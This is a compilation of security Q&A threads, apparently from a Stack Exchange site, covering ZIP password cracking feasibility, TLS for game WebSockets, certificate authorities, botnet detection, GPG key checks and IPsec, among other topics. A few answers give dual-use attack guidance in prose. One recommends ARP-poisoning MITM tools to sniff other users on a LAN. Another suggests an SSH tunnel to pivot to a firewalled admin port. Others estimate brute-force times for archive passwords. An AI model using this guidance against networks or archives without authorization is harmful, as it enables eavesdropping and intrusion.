Is it feasible to recover a zip file password consisting of about 16 digits? A friend of mine lost the password of a zip file of her. She remembers that the password contains digits only (that is, only 0, 1, 2, 3, 4, 5, 6, 7, 8, and 9) and is 16 characters long or so. The digits in the password were chosen randomly, by randomly hitting keys. She kept her password in a TXT file, but the file is gone.

Is there any feasible way to recover the password? If so, how can we do that?

I read on the Internet that such long passwords can't be recovered, but I think our case is special because we know that the password is digit-only. We are laywomen in mathematics and can't estimate the amount of time needed to crack the password in our case. Should my friend simply let it go, or is it worth spending time and effort trying to recover the password?

the password were chosen randomly, by randomly hitting keys

TL;DR: Feasible to crack if the archive was protected with ZipCrypto, not feasible if the archive was protected with "WinZip" AES encryption.

16 of random digits = 10^16 = 10 000 000 000 000 000 of combinations = 53 bits

It means that, for instance, if you're able to achieve a password verification speed of 100 000 hashes/sec, it will take the following amount of time to brute force the password:

100000000000 seconds
1666666667 minutes
27777778 hours
1157407 days
3171 years

More things to consider (thank you, comment section!):

1000 000 hashes/sec => 317 years of brute force
10 000 000 hashes/sec => 32 years of brute force (depending on particular WinZip/7-Zip/PKZIP algorithm using GPU (see benchmarks for Nvidia RTX 2080)).
30 GH/sec => 4 days (I can see some hashcat measurements about PKZIP in the same benchmarks)
22.7 ZettaHash/sec => a second of brute force. Seems like that is feasible for original PKZIP encryption algorithm which could be brute forced using some specific attack with the speed of "22.7 ZettaHash/sec on a single RTX 2080Ti". You can crack 16 numbers in seconds then. Not AES+PBKDF2 yet which is used in WinZip.

At least two different algorithms are widely used to protect zip archive:

ZipCrypto (PKZIP encryption)

Original PKZIP encryption is absolutely weak (it uses CRC32-based key derivation): from 10 MH/sec to 30-100 GH/sec and up to 22.7 ZettaHash/s on 1GPU. You can crack 16 numbers from seconds to 1-2 days feasibility depending on specific attack, hardware and optimization set. If you're not lucky enough than it would be years still.

AES encryption (WnZip encryption)

WinZip uses AES-based encryption with PBKDF2-HMAC-SHA1 1000 iterations key derivation: 5 MegaHash/s on 1GPU. And this is 32 years.


Should I use websockets (ws) or secure websockets (wss) for my game? I'm making a game and I'm using websockets for 99% of communication. The only http(s) is on initial page load and when logging in/registering.

I'm a complete noob so correct me if I'm wrong, but SSL is only for preventing man in the middle attacks, right? None of the packets I send over websockets are "confidential". It's mostly just [packetName, xCoord, yCoord]. I can't think of any game packets I'm sending where it would matter if a third party got a hold of them (even if that person was also in the same game in the same room because everyone can always see everyone else while in the game).

I know it's generally considered best practice to just always use SSL but my game has a ton of communication back and forth between clients and server (lots of positional updates per second and I want as little delay/bandwidth/processing used as possible) so I'm wondering if it's necessary?

What is the worst thing that could happen if I don't enable wss?

(tl;dr at bottom)

Encryption is essentially free at this point, even on dial-up connections. Almost every major language has it built-in, or has a library for it, etc. The advantage of not using TLS/SSL is a very small fraction of a second start-up time, a very negligible reduction in CPU usage (a small fraction of a percent), and about 4kb of bandwidth saved per session (TLS has no appreciable effect on bandwidth after the initial handshake). So, assuming you keep the connection open for an entire game, you're saving practically nothing.

However, having the data sent in the clear makes it easy for someone that's interested in playing around with your game to see what it's doing. Once they know what your protocol is, they can then use that to their advantage. A person using a tool designed to do some task is always going to outperform someone that does not have that tool. Just casually thinking, I've come up with botting, high score manipulation, false client updates, tool assisted plays, and session hijacking.

Botting, for example, is having the computer play for you. Computers are really good at looking ahead a million moves in advance, so they can almost always select the correct, infallible move to make in any circumstance faster than a human. This means they'll win, and real players will lose, which ultimately means your game will end up being abandoned or just full of bots playing each other.

High scores mean things to people. It's an ego thing. So, when they play and get a score of 250, and see that the top player has a score of 4,294,967,295, they're not going to bother playing. For example, this might happen if the high score code has an easy-to-break protocol (yes, some games actually just report a high score, and the server just accepts it). That part should be protected from tampering.

False client updates may or may not be a problem, but basically it comes down to if you can "lie" to a client to make it think the game is in a different state than it actually is. For example, people might appear at the wrong place on a map, people can teleport "magically" because the server accepts the coordinates without validating input, etc. You can do this even with encryption, but that means you've had to modify the binary instead of just writing your own client.

Tool assisted plays are similar to botting: the person's still playing, but they're guided by the tool to make optimal decisions, in real time, even if they're losing. A person with a tool will usually perform better than one without (assuming some practice, of course), so this is again usually considered cheating, and impossible to detect short of a watch dog to protect the client. It's even easier if you can modify the packets any way you desire.

Session hijacking could occur if they can figure out the part of the connection that represents their session. You see, you can't just downgrade a TLS connection back to a non-encrypted state (at least, not that I can tell). So, that means you have to drop the connection and open a new one. This new connection needs to identify to the server who it is. Sure, you can use some sort of token, but it'd better be a nonce (a single use value), otherwise the attacker will know the session information, and could possibly trick the legitimate client from continuing, perhaps by replaying the connection to the server, etc.

All in all, you should always use TLS. Even if it's a game of Tic-Tac-Toe or Connect Four. Someone, somewhere, will want to cheat at your game, and you can basically prevent entire classes of cheating simply by enabling a secure channel. Except for a very minor startup cost, encryption is essentially free, so not using it has no real benefits. If you're authenticating securely, it makes no sense to switch to a non-secure channel later, since you've already paid the price of startup.


What tools are available for iOS vulnerability assessment and penetration testing I want to start learning about VA on Apple iOS devices. Besides documentation, is there any good tool - in terms of automated vulnerability scanners, or scripts - to start?

SPF (Smartphone Pentest Framework) is one of the only ones I know of that are open source. Core Impact has some mobile testing modules but Core Impact is very expensive. There is Zimperium's Anti which gobbled up dSploit that performs security audits, and reading-wise, Tripwire has a decent article about pentesting mobile devices.

In the end though, Mobile devices much like other computers and servers, either have services, and network connections, that work in similar fashion. Client server, wireless/bluetooth connections... So it is trivial to use common tools such as nmap to get an idea of what services are running on a mobile device connected on your network.

There is OWASP's Mobile Security Project but they state they are focused on the application layer, and not much is written about what they do, what they've done, etc. If I were tasked with determining methods to pentest mobile devices, I would approach it from a forensics standpoint. Remember, the forensics guys/gals have likely seen more devices than you could test. The theory would be that in understanding what was found, it would make it simpler to understand how it was exploited. For something like that, I would check out the Malware Genome Project

EDITED

I also forgot to add the excellent work from Andrew Hoog and NowSecure (formerly ViaForensics). I definitely recommend getting his book to understand how iPhones/iPads, etc. work (store, connect, operate, etc)


Is there a microcode or other hardware fix for Meltdown? Linked to my question here, the MS support page states

  In addition to installing the January security update, a processor
  microcode update is required.

But previous articles I've read said there are no microcode fixes possible, which is exactly why all the OS vendors have had to release patches to enable memory isolation.

The current microcode fixes change the behavior of the branch predictor in two ways: by disabling prediction of indirect branches (referred to as IBRS), and by flushing the contents of the indirect branch predictor when performing a context switch from userspace to kernelspace or vice-versa (referred to as IPBP).

Both of these make the Spectre attack harder (an attacker is now restricted to attacking direct branches, which greatly reduces their choice in which code to have speculatively executed).  They have no effect on the Meltdown attack, which is about speculatively bypassing memory-access restrictions.


Can any CA sign any domain? Can any CA sign any cert for any domain?

If the answer is yes, what prevents having two different CAs creating a valid cert for the same domain?

Does that mean that the whole TLS security has the same level of security of the least secure CA?

Mostly yes, any CA in your trusted root, (or subordinates) can issue a cert for any DNS name.

Name constraints and Enhanced Key Usage can be used to mitigate this, but they aren't enforced everywhere.

DANE, Certificate Pinning, and Certificate transparency are a few projects that help protect from this risk.


What's the difference between "load testing" and "stress testing" within the context of a security audit? I'm preparing for the CCSP examine and am trying to wrap my mind around the concepts of "load testing" and "stress testing" within the context of security.

I think the difference here is that:

Load Testing is a measure of capacity, pure and simple.  It focuses on the "A" (availability) and isn't concerned about the security implications of a failed state.
Stress Testing is focused on how the system system behaves after reaching a point of load saturation.  For example, does the software/service fail in spectacular ways?  Does it reveal sensitive errors (software versions, back-end infrastructure details, etc)?

Am I on the right track here?

There's a few different definitions, however the one I go with is that Load Testing is taking an application up to its expected maximum load level to make sure it performs. Stress testing is deliberately taking an application past its normal parameters to see how it tolerates a greater than expected load. It's sometimes called torture testing, seeing how an application breaks.

From a security perspective you should always care about the security implications. No matter how much load an application is exposed to it should always follow its security parameters, or if it is going to fail, fail safe.


Detecting botnets that use HTTP instead of IRC I know most bots use either IRC or HTTP to communicate with the C&C, and http unlike IRC can't be blocked. So if a botnet is using HTTP, how can this be prevented? Just theoretical!

I know most bots use either IRC or HTTP to communicate with the C&C

As far a I know IRC is not much used any longer in current C&C communication because it is to easy to detect. Current C&C communication tries harder to blend in and uses mostly HTTP, but DNS is also used.

  So if a botnet is using HTTP, how can this be prevented? Just theoretical!

Since the communication is deliberately designed to blend in the normal traffic and sometimes even uses Twitter or common blog sites to exchange information it is very hard to detect. Looking at such a traffic nevertheless often shows small differences to normal browser behavior, like atypical HTTP requests (older User-Agent, special or missing headers...). But that's not guaranteed and malware can even instrument the browser on the system to do the requests and thus will blend in even more.

Another source of information is to look at the history of the target host, because often botnets have a flexible infrastructure where the IP behind a name changes often or where the target host changes often. Thus you might detect it because the traffic goes to unusual hosts or to the same hostnames or IP addresses known from other malware. But again, it's not guaranteed that this C&C communication works like this or rather uses sites where users can generate content (Twitter, Facebook, blogs...) to spread the commands.

Thus it is sometimes possible to detect such a communication when looking at specific requests and sometimes you need to look at the larger traffic pattern from the host (anomaly detection). There is no single technique and there is no guarantee that you'll find it, because like I said the traffic is designed to be indistinguishable from normal traffic.


Is there a way to prevent software from accessing hardware IDs? I think this is related to this question, but I would like to know if there's also a way to prevent "third party" applications from seeing hardware IDs (motherboard, hard disks, and others), or giving them fake values, on real OS, not using a virtual machine. I'm interested here in modern mainstream desktop OSes, (and especially interesting are Windows 7 and Windows 8 for x86-64).

There is a way to do this via Google's Native Client. However, executables have to be compiled for this environment explicitely.

It is difficult to achieve otherwise (i.e. without a sandbox). DEP can't do this for you, as it only prevents memory segments without the executable flag from being executed.

Just think of reading the CPUID, which is a simple instruction which you can normally not prevent from being executed.

Anyway, there may be programs to do this which utilize debugging features, but I am not aware of any.


Verify a key was signed by another key I began using GPG4Win/Kleopatra, the GNU Privacy Guard implementation for Windows. More recently I wanted to verify a download of Qubes OS, for which a guide is offered here. They describe a master public key (RSA 4096-bit) used to sign lesser keys, such as ones that sign particular versions of Qubes OS. I was able to verify my download using its detached signature hash signed by the correct lesser key. How would I verify the lesser key is signed by the master key (given no signature is offered for it)?

This question motivates another: How do signatures "usually" accompany the content? Does PGP, TLS, etc. simply concatenate the signature with the ciphertext or padded pre-image, or is there a need for two separate files/packets? Thank you very much in advance.

Checking a key is signed

The short answer is that you use the command gpg --list-sig <key id>.

For example, I went to the site you listed above and downloaded the qubes release 2 signing key. I then imported that key into my local gpg keyring:

$ gpg --import qubes-release-2-signing-key.asc

which results in the following

pub   rsa4096/0A40E458 2012-11-15 [SC]
uid   [ unknown] Qubes OS Release 2 Signing Key

To check if the key has been signed, you can use the command gpg --list-sig <key id>.

In this case, we can see that the key ID is 0A40E458 from the output above:

$ gpg --list-sig 0A40E458
pub   rsa4096/0A40E458 2012-11-15 [SC]
uid         [ unknown] Qubes OS Release 2 Signing Key
sig 3        0A40E458 2012-11-15  Qubes OS Release 2 Signing Key
sig          36879494 2012-11-15  [User ID not found]

The last entry is the Qubes master key, but it is unknown as I don't have it on my keyring. If I then download the master key, and add it to the keyring:

$ gpg2 --import ./qubes-master-signing-key.asc
gpg: key 36879494: public key "Qubes Master Signing Key" imported
gpg: Total number processed: 1
gpg:               imported: 1

I can verify again and see that the release key is correctly signed:

$ gpg2 --list-sig 0A40E458
pub   rsa4096/0A40E458 2012-11-15 [SC]
uid         [ unknown] Qubes OS Release 2 Signing Key
sig 3        0A40E458 2012-11-15  Qubes OS Release 2 Signing Key
sig          36879494 2012-11-15  Qubes Master Signing Key

Verifying signatures

When a file is signed using a gpg key, a separate signature file is created. With the qubes example, they release a .DIGESTS file. See the heading 'Verifying Digests' in the link you provided for more details on how to check such a digest.

Basically, what they have done is taken the file that is purported to come from them, and run a variety of hash algorithms against it. A hash function will take an input file or message, and output a unique fairly short hash string. This is cryptographically created in way that makes it very difficult or nearly impossible to find any other file that would produce the same output.

They then sign this hash string with their GPG key. Both the hash and the signature of that hash text are put inside the .DIGESTS file.

The important part to note with this process is that any change to the original file being verified will produce a completely different hash string. Therefore, when you run the verification command, what is happening on your local machine is that your system is creating it's own hash of the given file and checking that it matches the hash inside the signed text. If they both match, and the signature is verified as coming from the key you have already decided to trust, then you know that the owner of the key has 'signed' the version of the file that you have downloaded.


Can I compare 2 same encrypted files by checking it on binary mode? I have been working on testing whether same encrypted files are same without decrypting it. I have a test file provided to me one with normal data and another encrypted version of it. I need to check whether that test file(without encryption) which goes through an api and encrypts it will be the same as encrypted file that I got.
Here, is the python script for checking these files:
def compare_binaries(self,f1, f2):
    '''
    Using ittertools zip_longest to check each lines of both files
    f1 - binary file of source file
    f2- binary file of target file

    Returns True if all lines are same else False if any line is not same
    '''
    for line1, line2 in zip_longest(f1, f2, fillvalue=None):
        if line1 == line2:
            continue
        else:
            return False
    return True

Is this process okay for checking the encrypted files are same or are there better alternatives for it?

It depends on how the API encrypts the file, and there are a LOT of possible variants here: symmetric (block cipher and stream cipher), or asymmetric, and different implementations of each one.
Some encryption modes employ something called random IV, and in practice it means that encrypting the same file multiple times with the same key will output different files each time. So even if the API is rightfully encrypting the file, the result from the API and the file you just encrypted will be different.
You will have to check what encryption mode the API is using. AES with a deterministic IV would work (like using the truncated hash of the file as the IV, for example). The vital part is to never encrypt two different files with the same IV, or it could leak information on the key.
Only if the API returns the same output every time you submit the same file, then it is possible to compare the hashes of the files.


How can an old hardware lead to a security failure? I am working on critical cyber physical systems, and my work and research lead me to some questions. In the following, I assume that the attacker is not able to change the hardware of your system and can only attack it remotely.

Many researchers / engineers / "experts" argue that an old hardware, because of its lack of processing power is a system weakness, which can lead to an exploitation by an attacker.

Why is this true? In my opinion, this can happen only if your system has been poorly designed, e.g. you add tasks to a processor than cannot handle them, leading to deadline missed and then faults. But in critical domains such as transport, this never happen anymore. I don't have experience with ICS, but I suppose that even if these systems are not secure against attacks, they are designed to be safe against non intentional faults.
What can be a source of remote weaknesses is an obsolete firmware (if your hardware even has one), not the processing power of your processor I suppose.

This lead to a more general question: how does a hardware affect the security of the softwares / processes it hosts? It does affect the operational availability, which is a safety metric, but is it also able to affect the possibility to discover a weakness / vulnerability in the processes?

Thanks a lot for your experience.

"Lack of processing power" is not a security hole.

There are things like eg. DDOS: sending more requests to a system (webserver etc.) than it can handle, leading to normal users getting their services slower or not at all. But a newer faster CPU doesn't make DDOS impossible, it just needs even more requests by the attacker. In times where people can easily rent thousands of computers for a short time (in some cloud service), DDOSing a single device will always be possible, independent of the hardware.

Your "transport" point is a very different angle: Systems that eg. control self-driving cars (just as an example) are real-time systems. If this term isn't familiar, it does NOT mean that there is no delay. It does mean that there is a guarantee that it will do some work with max x milliseconds/seconds delay after its ideal time. Eg. starting to break max 100ms after the red traffic light is detected.
For this to work, there are many requirements not only to the sensor and cable/connection, but also to the control unit itself - our average computers and operating systems are not real-time-capable at all.

Back to the remote attacks - car control with internet is a bad example, but well ... The simple answer is, internet is not real-time-capable either. And there is nothing that can change that, other than reinventing everything in a different way (and even then it would be very hard).
So, your real-time-capable car control unit just can't have internet access if it should real-time-capable. => Remote internet attacks not possible.

Anyways, enough about processing power.

Old hardware indeed can be a problem for other reasons:

You mentioned firmware updates - but there are, again and again, hardware bugs that just can't be solved or mitigated with firmware. Some of them might allow malicious abuse.
And other than bugs, there are plenty security problems nowadays (2018) that were not known to exist eg. 20 years ago. Some require hardware support for a good protection. Old hardware just won't have this features. Random example: Intel SGX.


OSSEC - Can i centralize what file to check with centralized agent config? I am starting with OSSEC for file integrity check in a bunch of Windows servers and CentOS. And I would like to keep a centralized configuration of what to check for all my agents, based on they OS.

Rerearching about Centralized agent configuration I found out that i can make a /var/ossec/etc/shared/agent.conf which spreads my will to all my agents, but I am struggling to understand how to use it.

Based on OSSEC docs example, i want to do something like this:

<agent_config os="Linux">
    <localfile>
        <location>/var/log/my.log2</location>
        <log_format>syslog</log_format>

        <syscheck>
           <frequency>7200</frequency>
           <auto_ignore>no</auto_ignore>
           <alert_new_files>yes</alert_new_files>
           <directories check_all="yes">/etc,/usr/bin,/usr/sbin</directories>
           <directories check_all="yes">/bin,/sbin</directories>
        </syscheck>

    </localfile>
</agent_config>

<agent_config os="Windows">
    <localfile>
        <location>C:\myapp\my.log</location>
        <log_format>syslog</log_format>

        <syscheck>
           <frequency>7200</frequency>
           <auto_ignore>no</auto_ignore>
           <alert_new_files>yes</alert_new_files>
             <directories check_all="yes">ProgramFiles</directories>
             <directories check_all="yes">ProgramFiles(x86)</directories>
             <directories check_all="yes">System32 </directories>
             <directories check_all="yes">SysWOW64</directories>
        </syscheck>
    </localfile>
</agent_config>

It seems interesting you ran into the same case I did.

You can follow these steps:

Create a new config file on the server/manager: vim /var/ossec/etc/shared/agent.conf
Place configuration in that file you want to be merged on clients/agents.
Save it (Press : then wq and enter).
Get the current hash of the config via md5sum /var/ossec/etc/shared/agent.conf
Inspect the agent 001's config via /var/ossec/bin/agent_control -i 001
When the agent received the configuration, the “Client Version” field will have the md5sum of the agent.conf file.

You will however find that it will not work on Windows agents. Linux agents might be a different story. If you are interested, you can see the pain I went through:

https://serverfault.com/questions/877991/ossec-windows-agent-fails-to-sync-configuration


How easy is it, really, to be hacked as an average user? tl;dr at the bottom

I have been searching around and I haven't been able to find a definitive answer to the question(s). I mainly work with OS X so that will be the base for my questions.

How easy is it to be hacked if you're behind a standard router (Airport for example) if you haven't visited a phishing site and you haven't downloaded and installed any malicious software, and have a good password mixing caps, numbers, and symbols, and keeping my machine up to date?

From what I understand, most security holes are started because the end-user gives access by doing something like those two examples.

tl;dr:
What are the actual chances of attack on the average user using average software, with secure passwords and average hardware setups without the aid of phishing, the attacker gaining physical access, or a malicious file being applied by the target user after it was sent to them from the attacker?

tl;dr - It is incredibly easy to be hacked as an average user. It is also rather easy to protect yourself online. Unfortunately most average users don't see themselves as a target so do not protect themselves appropriately. It doesn't matter if you are not a CEO of a large company, or have very little in your bank account - your PC is a target even if you aren't. Many acquaintances of mine who espouse the virtues of not running antivirus/antimalware etc state that they have never been hacked, but closer analysis shows that all of them have. They just didn't know it or care! Many were part of botnets that could be part of attacks on others. Some just collected account details...

There are various studies posted online which are very scary reading. The online myths page at MIT has these 3 classics (but read the whole page):

  Myth 1:    The internet is so huge; no one will attack my computer.

  Fact:  Hackers use automated tools that continually probe computers to find attack vectors. A new, unprotected computer installed on the internet will be generally be compromised within seven minutes.

-

  Myth 2:    I'll worry about security once someone finally tries to attack me.

  Fact:  Attacks are ongoing, day and night. Your system must have anti-virus software (to keep out bad/dangerous files) and have up-to-date system software in order to close newly-discovered security holes. Use the bigfix system to keep your system in tip-top shape automatically.

-

  Myth 3:    Firewalls and anti-virus software will fully protect my computer.

  Fact:  You must also update your system software for newly discovered security issues. Most of all, though, you must keep your passwords and personal identity information confidential except where they are supposed to be used. Otherwise, your most critical information is at risk. Finally, even frequently upated anti-virus software only protects against known viruses: new malware can sneak by if it hits your computer before the next update.

In terms of how long it takes, this page from SANS is a good starting point:

From the page:

  The survivaltime is calculated as the average time between reports for an average target IP address. If you are assuming that most of these reports are generated by worms that attempt to propagate, an unpatched system would be infected by such a probe.


Why can't I install from a USB? Kali USB installation demands a CD-ROM. How can I get around this? I am unable to install Kali 2016.2 using a USB.  The installation demands a CD-ROM.  This cannot be right...  Right?

EDIT: Kali Linux 64 bit (25cc6d53a8bd8886fcb468eb4fbb4cdfac895c65) ISO used together with Universal-USB-Installer-1.9.6.4

I am using a separate SSD installed in a DVD-drive caddy, and I would like to install Kali on this drive.  This is because I want to continue to have the option to use Windows on this laptop, but I do not want to lose space by creating a partition.  So I do not have a free CD-ROM drive to install with unless I take out the primary internal drive and this seems like a lot of faffing about to do at 5am when a USB boot would be so much more convenient.

I boot from the USB and choose the option to perform a graphical installation.  However, less than a minute into the installation process, I am told I need a CDROM to continue installation.  No CDROM is found since it is a caddy, and so I have to abort the installation.

Is there any way to work around this so that I can have a separate caddy SSD with Kali?

UPDATE:  I have tried running the installation from the USB as a non graphical install; I get the same error.  It reads:

'Your installation CD-ROM couldn't be mounted.  This probably means the CD-ROM was not in the drive.  If so you can insert it and try again.'

Surely I should be able to easily install from a USB in 2016 - half of notebooks these days do not even have CD drives.  What am I doing wrong??

For me, I flashed the full kali image to a large flash drive, then booted. I would recommend doing the same. Also, make sure that you are not using the VM version


Is it easier to crack a ZIP file than a 7z archived file given they have the same password? I am interested in knowing if either of them is easier to crack than the other because of inherent flaws.

It depends on how the ZIP file is encrypted.

When you want to create a fully standard-compliant ZIP archive, then your only option for encryption is the ZipCrypto algorithm which is known to be seriously flawed.

However, many compression tools support a non-standard addition to the ZIP standard which allows to use different encryption algorithms, including AES-256, which is the same encryption algorithm the 7z format uses by default. When that option is used, 7z and zip are equally hard to crack.

Caveat: not every archive handler can handle AES-256 encrypted ZIP archives. Such tools can then no longer read the files in such archives. One such archive handler is the one built into Windows Explorer.


Outbound proxy/reverse-shell as a way to bypass firewall I'm pentesting a server infrastructure, and I already got in as an unprivileged user. I can run commands but some commands don't work, due to the nature of the reverse shell.

Using netstat I can see a server admin webapp running in a port that the firewall is blocking me out.

I want to leverage the fact that I'm running user space commands inside the server to create some way for my browser, running in my desktop, to connect to the admin app running in the blocked port.

In a way it's kind of a reverse shell, but a reverse shell that can then be used by the browser as a sort of socks proxy or something like that.

Is this even possible? What other ways you can think off? My goal is to connect to the blocked port. I can download files into the server into /tmp and execute them from there. The server is running ubuntu 14.04.5 LTS, if that matters.

Thanks

It sounds like you have shell access so you should be able to setup an SSH tunnel and use the tunnel as a proxy in Firefox. Then you'd essentially be connecting to the server from itself.


SQL injection is 17 years old. Why is it still around? I'm no techie and would like your expertise in understanding this. I recently read a detailed article on SQLi for a research paper.

It strikes me as odd. Why do so many data breaches still happen through SQL injection? Is there no fix?

There is no general fix for SQLi because there is no fix for human stupidity. There are established techniques which are easy to use and which fix the problems (especially parameter binding) but one still has to use these techniques. And many developers are simply not aware of security problems. Most  care that the application works at all and don't care much about security, especially if it makes things (even slightly) more complex and comes with additional costs like testing.

This kind of problem is not restricted to SQLi but you'll find it with buffer overflows, certificate checking, XSS, CSRF... . It is more expensive to do secure programming because of the additional testing and of the additional expertise needed by the (thus more expensive) developer. And as long as the market prefers it cheap and does not care much about security you get the cheap and insecure solutions. And while security by design helps a lot to make it better developers often work around this design because they don't understand it and it is just in their way.


Does sending email with TLS help to not being flaged as spam? Does sending email with TLS help to not being blocked or not being flagged as spam by recipient?

There are two sides of sending email encrypted via TLS:

Between the sender and the email provider
Between the email provider of the sender and the receiver's email provider (spam filters typically sit here)

The security of the first connection has no impact on the spam rating on the receiver's side.

However, the spam filter on the receiver side might consider the encryption of the inbound connection in his spam rating or even completely deny unencrypted emails.

As tlng05 mentions in his comment, commercial email providers typically don't talk about how their spam filters work in detail. However, as Gmail (just as an example) marks every email that came in through an unencrypted connection with a red lock, it is quite save to assume that encryption has at least a little impact on the spam score - if not technically, then psychologically (at least for Gmail users).


Does mixing different types of encryption make the connection more secure? Like when I browse a website using SSL from my laptop that is connected to my router using WPA2. My router talks to my ISP using IPsec.

Is that more secure or do these types of encryption have nothing to do with each other?

Yes and no.

SSL offers end-to-end encryption between the application using SSL and the server to which you are connecting. It's a layer 6 protocol and may only provide security for that particular application.

In case of IPSec, it works at layer 3. It's mostly used to provide end-to-end encryption between different sites. For instance, if you have several applications communicating across a link, but those applications do not use any security protocols, you do not want to use the internet as any intermediary router can see the traffic as it's in the clear. IPSec solves this issue by providing a site-to-site encrypted tunnel. So the applications are still sending information in plain text, but before it leaves the site towards the other site, it is encrypted.

Now both are strong security protocols and, if implemented correctly, considered secure. Now if you are communicating across SSL and add IPSec then it's not considered more secure. SSL provides end-to-end security. Adding a layer of IPSec does not matter.

When using IPSec and adding SSL this may be different. IPSec only provides security up to a certain router after which the traffic will become clear again. Using SSL you can ensure that your data is secure until it reaches its final destination. If an attacker has access to a router after the traffic is de-crypted, then he can perform a MiTM, whereas with SSL this still would not be possible.

So adding IPSec to SSL does not provide extra security, but adding SSL to IPSec may offer better security, depending on circumstances.


How to know what domains other clients visit if I have no access to the router? As a client computer, I am behind a router to which I have no access. Is it possible for me to know the domains or IP addresses that other clients visit?

I want to know which clients often download files because it really makes the network so busy.

My computer and other clients are in the same LAN (192.168.1.xxx).

Mayank Sharma advice is technically right but might not work in most of the environments because organizations/individuals use network switches nowadays which route data only to the intended recipient. Wireshark would work only where network hubs are used which broadcast the traffic to every node in the network.

In order to sniff traffic in switched environments you have to perform MITM (Man In The Midddle) through ARP poisoning. Once you perform MITM, you will be able to sniff data of the other nodes in a switch environment. I don't know if you are authorized to perform sniffing or MITM on the other machines so make sure you have prior approval.

In order to perform MITM you can use many open and closed source tools. Cain and Abel and Ettercap are two tools that are very easy to perform MITM. Cain and Abel is only for Windows platform while Ethercap works fine on both Windows and Linux.


Hide from Webcrawlers If I had legitimate reasons to do so, would it be possible to hide a service from webcrawlers and with that, hide it from any search engines like Google?

Can I prevent an average joe from stumbling across my service by just searching for it, and only have people access that service, if they know that it exists and how to access it?

This is exactly what the robots exclusion standard is for. You put a text file at the well known path /robots.txt, and compliant web crawlers will obey it. In particular, you can exclude specific crawlers, or exclude specific paths and resources from being crawled. This will effectively make your website "invisible" to standard search engines. Of course, spambots won't necessarily obey the exclusion policies you set up, so it will not protect you from misbehaving bots.

To prevent any bot from crawling any page on your site, you would use:

User-agent: *
Disallow: /


How to ensure my API requests are sent using SSL I have a simple API that is used to send data back and forth between my two sites. This is not a public API that can be accessed by my clients, it is simply a service for the two sites to communicate. I use an API key to verify these requests, and I want to make sure that all my API requests are sent via SSL to protect my API key from man-in-the-middle attacks. Both sites have valid SSL certificates. I am using PHP with Laravel.

Right now, this is how I make the actual requests:

$call = "https://myapp.com/api/apikey/somedata";
$response = file_get_contents($call);

Note that the protocol in the url is https and that the data and api key are simply included in the url as segments.

My question is, is this approach enough to ensure that my api requests use HTTPS and can not be intercepted through a man-in-the-middle attack?

As in any SSL connection, the system is secure if you use TLS 1.2 with only secure ciphers allowed (that is, good SSL configuration).

Other than that, SSL is MITM protected if the systems involved only trust the legitimate certificates used on the SSL connection. If one may inject on your truted certificate list or convince your system to accept a fake certificate, it will be able to do a MITM attack by presenting you the client the fake certificate, deciphering the data and reciphering it to your server, acting like a proxy.

So you may want to make sure you have trusted certificates correclty and restrictively set, and maybe also want to use public key pinning (explicitly deciding to trust specific public keys instead of fully trusting certificates or certificate authorities). You may want to check what are the trusted anchors that PHP is using, and it looks like depending on the version it may not even check the certificate at all, and that would make a MITM trivial. More info on that here: https://www.venditan.com/labs/2014/06/26/ssl-and-php-streams-part-1-you-are-doing-it-wrongtm/432

  Note that the protocol in the url is https and that the data and api
  key are simply included in the url as segments.

I´m supposing you are worried that the API token would leak here because it is visible on the URL. Actually the api/apikey/somedata part is protected by SSL, what happens behind the scenes is that you stablish a SSL connection to myapp.com (without saying what you want from it on clear text) and then, just after sucessfully connected,  using the protected and ciphered connection, you request to "get api/apikey/somedata". So the api key will not be visible for anyone listening. However, the full URL may leak by other channels, like a browser history, logs and so on. Thats why usually authentication tokens are added to HTTP headers instead of path or query params. They are as protected as in the path from the SSL point of view, but it less likely that it leaks by mistake.


Are AWS EC2 key-pairs compromised when an EC2 instance is compromised? Suppose I have multiple EC2 instances deployed with the same key-pair. The key-pair is used for SSH access and general troubleshooting. If one instance is compromised, do I need to be concerned about the key-pair allowing access to the other instances?
What kind of cryptographic primitive is used for EC2 key-pairs?

What kind of cryptographic primitive is used for EC2 key-pairs?

The keys that Amazon EC2 uses are 2048-bit SSH-2 RSA keys.  They are asymmetric, "public key" pairs.  The public key goes on the instance(s) you wish to authenticate to, and the private key stays with you.

If one instance is compromised, do I need to be concerned about the
key-pair allowing access to the other instances?

No.  Because only the public key is compromised, there is no concern; that's why it's a "public" key.  Even when you authenticate to a compromised instance, the private key itself is not shared with the instance.


Could someone commit a social engineering "hack" on a credit card processor to get my credit card number? Peripherally related to: Is it safe to recycle unshredded credit card receipts?.

From some basic research, it seems as though the SEQ number is internal to the company running the POS software, the AID is the registration for that POS system, and the merchant number is related to how the processor stores things.  It would seem that none of these could be exploited in and of themselves.

I realize that the actual card digits themselves have a checksum pattern to them, and as such, would be very difficult to brute force.  However, using the issuer (which would give access to the first digit of the card), the last four digits, and the authorization code, could an individual access my full credit card number via a social engineering attack (or otherwise) on the payment processor using this information, via automated means or by talking to a representative?

Your question is very broad and your title does not match the text of your question. Processors have taken steps to reduce access to this data but there are regular breaches of credit card data so yes, what you ask in your title might be possible.

To clarify your checksum statement.  Credit card numbers adhere to an algorithm (called the Luhn algorithm) to help various parties check if it is a valid card without actually running it.  It is meant to prevent errors as opposed to attacks.  In some ways, this makes it easier to brute force as an attacker could easily generate the subset of numbers that pass the algorithm.

No, You cannot generate the full credit card account from a receipt.  Receipts often show the last 4 digits of the account number and that would of course help the brute force attempt above.

US law says no more than 5 digits can be shown on receipt.

You said the first digit was used to identify the issuer.  Actually the first 6 are the Issuer ID Number and are public domain.  PCI compliance allows for the first 6 and last 4 to be shown.

Fraudsters buy and sell lists of known full accounts or implement brute-forcing schemes that do not involve fishing receipts out of the trash.

Someone targeting you personally might find the receipt valuable.  As they commented in the article you linked to, some companies used to (and maybe some still do) use the last 4 digits to validate your identity.


Why L2TP is required over IPSec IPsec facilitates encryption and authentication with ESP. With tunnel mode, IPSec is also providing tunnelling. More importantly, one can use IPsec in tunnel mode, along with transport mode (i.e. encapsulate one over other).

Hence, IPsec is enough for:

Authentication
Confidentiality
Integrity

Whereas, Layer two Tunnelling Protocol (L2TP) is meant only for tunnelling. Then, for encryption, it uses IPsec.

My question is why IPsec has to support L2TP  (kind of self-respect), where IPsec is capable of both encryption and tunnelling?

It depends what kind of tunnel you want.

IPsec can create a tunnel working at IP level for you. It means your tunnel will encapsulate IP packets, it can also be seen as a router or a layer 3 tunnel.

